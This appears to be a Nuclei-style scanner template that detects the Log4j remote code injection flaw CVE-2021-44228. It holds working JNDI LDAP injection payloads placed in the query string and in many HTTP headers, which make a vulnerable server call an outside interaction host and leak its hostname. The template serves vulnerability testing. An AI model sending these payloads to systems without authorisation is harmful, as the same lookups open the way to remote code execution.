71 lines
3.4 KiB
YAML
71 lines
3.4 KiB
YAML
id: CVE-2021-44228
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info:
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name: Remote code injection in Log4j
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author: melbadry9,dhiyaneshDK,daffainfo,anon-artist,0xceba,Tea
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severity: critical
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description: Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
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reference:
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- https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
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- https://www.lunasec.io/docs/blog/log4j-zero-day/
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- https://gist.github.com/bugbountynights/dde69038573db1c12705edb39f9a704a
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tags: cve,cve2021,rce,oast,log4j,injection
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10.00
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cve-id: CVE-2021-44228
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cwe-id: CWE-502
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requests:
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- raw:
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- |
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GET /?x=${jndi:ldap://${hostName}.{{interactsh-url}}/a} HTTP/1.1
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Host: {{Hostname}}
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Accept: ${jndi:ldap://${hostName}.accept.{{interactsh-url}}}
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Accept-Encoding: ${jndi:ldap://${hostName}.acceptencoding.{{interactsh-url}}}
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Accept-Language: ${jndi:ldap://${hostName}.acceptlanguage.{{interactsh-url}}}
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Access-Control-Request-Headers: ${jndi:ldap://${hostName}.accesscontrolrequestheaders.{{interactsh-url}}}
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Access-Control-Request-Method: ${jndi:ldap://${hostName}.accesscontrolrequestmethod.{{interactsh-url}}}
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Authentication: Basic ${jndi:ldap://${hostName}.authenticationbasic.{{interactsh-url}}}
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Authentication: Bearer ${jndi:ldap://${hostName}.authenticationbearer.{{interactsh-url}}}
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Cookie: ${jndi:ldap://${hostName}.cookiename.{{interactsh-url}}}=${jndi:ldap://${hostName}.cookievalue.{{interactsh-url}}}
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Location: ${jndi:ldap://${hostName}.location.{{interactsh-url}}}
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Origin: ${jndi:ldap://${hostName}.origin.{{interactsh-url}}}
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Referer: ${jndi:ldap://${hostName}.referer.{{interactsh-url}}}
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Upgrade-Insecure-Requests: ${jndi:ldap://${hostName}.upgradeinsecurerequests.{{interactsh-url}}}
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User-Agent: ${jndi:ldap://${hostName}.useragent.{{interactsh-url}}}
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X-Api-Version: ${jndi:ldap://${hostName}.xapiversion.{{interactsh-url}}}
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X-CSRF-Token: ${jndi:ldap://${hostName}.xcsrftoken.{{interactsh-url}}}
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X-Druid-Comment: ${jndi:ldap://${hostName}.xdruidcomment.{{interactsh-url}}}
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X-Forwarded-For: ${jndi:ldap://${hostName}.xforwardedfor.{{interactsh-url}}}
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X-Origin: ${jndi:ldap://${hostName}.xorigin.{{interactsh-url}}}
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: regex
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part: interactsh_request
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
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extractors:
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- type: kval
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kval:
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- interactsh_ip # Print remote interaction IP in output
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- type: regex
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part: interactsh_request
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group: 2
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
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- type: regex
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part: interactsh_request
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group: 1
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
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